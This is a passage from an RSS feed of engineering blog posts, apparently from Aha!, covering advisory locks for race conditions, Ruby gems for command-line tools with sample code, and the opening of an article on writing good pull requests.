&lt;p&gt;If row-level locking isn&apos;t possible, there are other tools such as &lt;a href=&quot;https://github.com/leandromoreira/redlock-rb&quot;&gt;Redlock&lt;/a&gt;
or &lt;a href=&quot;https://github.com/ClosureTree/with_advisory_lock&quot;&gt;with_advisory_lock&lt;/a&gt; that
could be used. These will allow locking an arbitrary block of code. Using this could
be as simple as something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;email &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;demo@example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.with_advisory_lock(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_uniqueness_&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{email}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.find_or_create_by(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;email:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; email)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These strategies will cause processes to wait until a lock is obtained. So, they will also want to have some form of timeout to prevent a process from waiting forever — as well as some handling for what to do in the event of a timeout.&lt;/p&gt;
&lt;p&gt;While there is no panacea for fixing race conditions, many race conditions can be
fixed through these strategies. However, each problem is a little different, so
the details of the solutions can vary. You can take a look at &lt;a href=&quot;https://www.youtube.com/watch?v=jEDX3yswrcM&quot;&gt;my talk from RailsConf 2023&lt;/a&gt;
that goes more into detail about race conditions.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CLI tools at Aha!]]></title><description><![CDATA[Take your command-line utilities to the next level with these Ruby gems Ruby has always been a great general-purpose scripting language and…]]></description><link>https://www.aha.io/engineering/articles/cli-tools-at-aha</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/cli-tools-at-aha</guid><dc:creator><![CDATA[Steve Lamotte]]></dc:creator><pubDate>Thu, 10 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Take your command-line utilities to the next level with these Ruby gems&lt;/h2&gt;
&lt;p&gt;Ruby has always been a great general-purpose scripting language and is often
used to create command-line utilities. Many of these use the excellent
&lt;a href=&quot;https://github.com/rails/thor&quot;&gt;Thor&lt;/a&gt; gem to parse command-line options, but
there&apos;s no escaping one fact: command-line utilities just aren&apos;t interesting.
Never have been, never will be.&lt;/p&gt;
&lt;p&gt;However, since Ruby was released in 1995, developers have created some clever
and useful libraries for making command-line utilities simpler to use, look at,
and code.&lt;/p&gt;
&lt;h2&gt;I love creating command-line utilities&lt;/h2&gt;
&lt;p&gt;I am part of the &lt;a href=&quot;https://www.aha.io/&quot;&gt;Aha!&lt;/a&gt; platform team. Our primary focus is
ensuring system reliability, but we are also responsible for providing developer
tooling for the rest of the engineering team. One of our main tools is the &lt;code&gt;ops&lt;/code&gt;
command-line utility that performs many mundane yet important tasks to simplify
processes for our engineers. Here are a few examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ops ecs deploy&lt;/code&gt; deploys an application to an AWS ECS environment&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ops ecs ssh&lt;/code&gt; launches a shell on an existing application container&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ops ecs shell&lt;/code&gt; spins up a new application container and launches a shell
there&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As we make updates to our ops and similar CLI utilities, we often improve the
user experience by taking advantage of various Ruby gems. With little effort
compared to low-level coding with &lt;a href=&quot;https://github.com/ruby/curses&quot;&gt;curses&lt;/a&gt;, our
command-line utilities that used to be cryptic and confusing are now interactive,
easy to use, and — dare I say — elegant.&lt;/p&gt;
&lt;p&gt;Let&apos;s talk about a few of these &quot;gems.&quot; 😆&lt;/p&gt;
&lt;h2&gt;1. &lt;code&gt;cli-ui&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;I really enjoy using the &lt;a href=&quot;https://github.com/Shopify/cli-ui&quot;&gt;cli-ui&lt;/a&gt; gem. It
offers a lot of powerful, intuitive features including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;spinners: provide feedback that something is happening (e.g., track the
progress of multi-threaded operations)&lt;/li&gt;
&lt;li&gt;frames: clearly demarcate logical groups of output including the ability to
nest frames within each other&lt;/li&gt;
&lt;li&gt;prompts: provide a powerful UI for displaying and selecting a list of choices&lt;/li&gt;
&lt;li&gt;text formatting: provides several helpers to make text formatting quick and easy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When we deploy code at Aha! we kick off a number of &lt;a href=&quot;https://aws.amazon.com/codedeploy/&quot;&gt;AWS CodeDeploy&lt;/a&gt;
tasks running in parallel. Here&apos;s some code to simulate deployment:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;cli/ui&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; deploy&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(build)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  CLI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;UI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;StdoutRouter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.enable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  CLI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;UI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Frame&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Deploying Aha! build &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{build}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;color:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :blue&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    CLI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;UI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SpinGroup&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |spin_group|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      spin_group.add(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;pod1&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      spin_group.add(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;pod2&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      spin_group.add(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;pod3&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  puts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;rescue&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; StandardError&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; =&gt; e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  puts&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; CLI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;UI&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.fmt &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;{{red:Deploy failed: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{e.message}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;deploy &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;123&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This produces the following output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/baf52e98af2c4903879f13f75de87fd8/deploy-spinners.gif&quot; alt=&quot;deploy-spinners&quot;&gt;&lt;/p&gt;
&lt;p&gt;Obviously, our deploys aren&apos;t &lt;em&gt;quite&lt;/em&gt; this fast or simple. But you can imagine
how useful it would be to see output with feedback like this when you have
dozens of long-running threads executing in parallel, like our real deploys.&lt;/p&gt;
&lt;h2&gt;2. &lt;code&gt;terminal-table&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;I used to write a lot of custom code to format tabular data in my CLI utilities.
Thankfully, that stopped once I discovered &lt;a href=&quot;https://github.com/tj/terminal-table&quot;&gt;terminal-table&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This gem is very easy to use and can process arrays as well as CSV data.
Here&apos;s a quick example showing how simple it is to create nicely-formatted tabular data:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;terminal-table&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;table &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Terminal&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Table&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |t|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.title &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Shipment Summary&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.style &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;border:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :unicode_round&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.headings &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Product&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Quantity&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Unit Price&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.rows &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Apples&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;$1.99&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Milk 2% 4l&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;$4.99&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Rye Bread&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;$3.99&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.align_column(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:right&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.align_column(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:right&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; table&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output is simple yet quite aesthetically pleasing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/dee07efcb63f8df006cae598f2b31c38/terminal-table.png&quot; alt=&quot;terminal table&quot;&gt;&lt;/p&gt;
&lt;p&gt;Not too shabby!&lt;/p&gt;
&lt;h2&gt;3. &lt;code&gt;ombre&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Finally, here is a nice little gem created by Aha! director of software
engineering, &lt;a href=&quot;https://www.aha.io/blog/my-name-is-justin-paulson-this-is-why-i-joined-aha&quot;&gt;Justin Paulson&lt;/a&gt;.
&lt;a href=&quot;https://github.com/justinpaulson/ombre&quot;&gt;Ombre&lt;/a&gt; provides a fun way to spice up
your output by rendering text with a gradient. Here&apos;s an example that prints
zombie ipsum with a red, white, and blue tint:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;ombre&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Ombre&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.horizontal(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;TEXT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;FF0000&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;FFFFFF&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;0000FF&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**********************************************&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Zombie&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ipsum brains reversus ab cerebellum &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; viral inferno, brein nam rick mend grimes  &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; malum cerveau cerebro. &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;De&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; carne cerebro    &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lumbering animata cervello corpora         &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; quaeritis. &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Summus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; thalamus brains sit,     &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; morbo basal ganglia vel maleficia?         &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**********************************************&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;TEXT&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This produces a colorful output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1f28a93256a33f9b3f0bed64331a19eb/ombre-example.png&quot; alt=&quot;Ombre example&quot;&gt;&lt;/p&gt;
&lt;p&gt;We use Ombre to display a banner when we launch CLI tools that help us create
&lt;a href=&quot;https://www.aha.io/engineering/articles/12-tools-for-quality-pull-requests&quot;&gt;pull requests&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/09b8000c1f6092c2384047a4ff8ff246/ombre-aha.png&quot; alt=&quot;ombre aha&quot;&gt;&lt;/p&gt;
&lt;p&gt;While this banner doesn&apos;t add any measurable value to our utility, it helps
reinforce a sense of team spirit every time it&apos;s displayed.&lt;/p&gt;
&lt;p&gt;Be sure to add these new gems to your Ruby command-line arsenal. They have great
documentation — and are fun to use — adding a little panache to your command-line utilities.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[12 Tools for Quality Pull Requests]]></title><description><![CDATA[As you stare into an empty text field, the blinking cursor invites you to engage in a crucial part of being a professional software engineer…]]></description><link>https://www.aha.io/engineering/articles/12-tools-for-quality-pull-requests</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/12-tools-for-quality-pull-requests</guid><dc:creator><![CDATA[Chris Zempel]]></dc:creator><pubDate>Tue, 27 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As you stare into an empty text field, the blinking cursor invites you to engage in a crucial part of being a professional software engineer — writing a pull request. What will you write? Almost every idea you will come up with is downstream of the habits you&apos;ve cultivated and the information you&apos;ve consumed. Your attention to your upstream (or lack of) will define your practice — your customary, habitual way of doing something.&lt;/p&gt;
&lt;p&gt;How is your practice of writing pull requests? On one hand, you will improve as you engage in shipping work as part of a team because you&apos;ll be repeating the act of writing and reading pull requests. On the other, occasionally applying conscious and deliberate attention to your practice will yield large and rapid improvements. This is when you work on your upstream — the habits, tools, and techniques you lean on when you start authoring a pull request. Often, this is harvesting your experience to see and think in relevant ways you couldn&apos;t before. Sometimes, though, the world sees fit to make it really easy on you.&lt;/p&gt;
&lt;p&gt;My teammates recently put out some pull requests which were so nice they (metaphorically) shook me by the shoulders and shouted &quot;you should also be doing this!&quot; Before I can share with you exactly what they did, you must also understand a fuller picture. Sometimes beauty is the lack of something. Appreciating the lack of something is hard if you don&apos;t know it is supposed to be there. But when you understand the goals of writing a pull request, it then becomes possible to know which elements you can remove.&lt;/p&gt;
&lt;h2&gt;What is a quality pull request?&lt;/h2&gt;
&lt;p&gt;Quality means consistently meeting spec. For our pull requests, this means &quot;do I have the right reviewers?&quot;, &quot;do reviewers have all the information they need?&quot;, and &quot;will someone looking at this in the future be able to access the &apos;what&apos; and &apos;why&apos; behind the &apos;how&apos; of this implementation?&quot;&lt;/p&gt;
&lt;p&gt;Notice these are questions, not advice. Questions are resilient and adaptable to context. Advice is brittle. The best tools to keep in your upstream are the right questions.&lt;/p&gt;
&lt;p&gt;Also notice this has nothing to do with &quot;perfect.&quot; While it is tempting to focus on how you can write the perfect pull request, this is the wrong question. A focus on perfectionism is a great way to hide, hedge, and never ship. Or, perhaps more insidious, continually spend lots of wasteful effort when you could instead be learning how to achieve the same effect with less effort.&lt;/p&gt;
&lt;p&gt;The goal is a durable, refined practice you can lean on to write a pull request that meets spec in the shortest amount of time.&lt;/p&gt;
&lt;h2&gt;Tools for writing pull requests&lt;/h2&gt;
&lt;p&gt;Here is a cheat sheet I use to write quality pull requests, quickly. And below I explain my thought process for each question so you can start using this in your own work.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#cheat-sheet&quot;&gt;&lt;h3 id=&quot;cheat-sheet&quot;&gt;#Cheat Sheet&lt;/h4&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;On Writing&lt;/h4&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Do I have all the right reviewers?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Do reviewers have all the information they need?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Is my information organized in descending levels of scale?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Will someone looking at this in the future be able to access the &quot;what&quot; and &quot;why&quot; behind the &quot;how&quot; of this implementation?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Can I clarify my title for other contexts using prefixes, conventions, or other keywords?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Is there supplementary information I could add as footnotes?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;Using Details Tags&lt;/h4&gt;
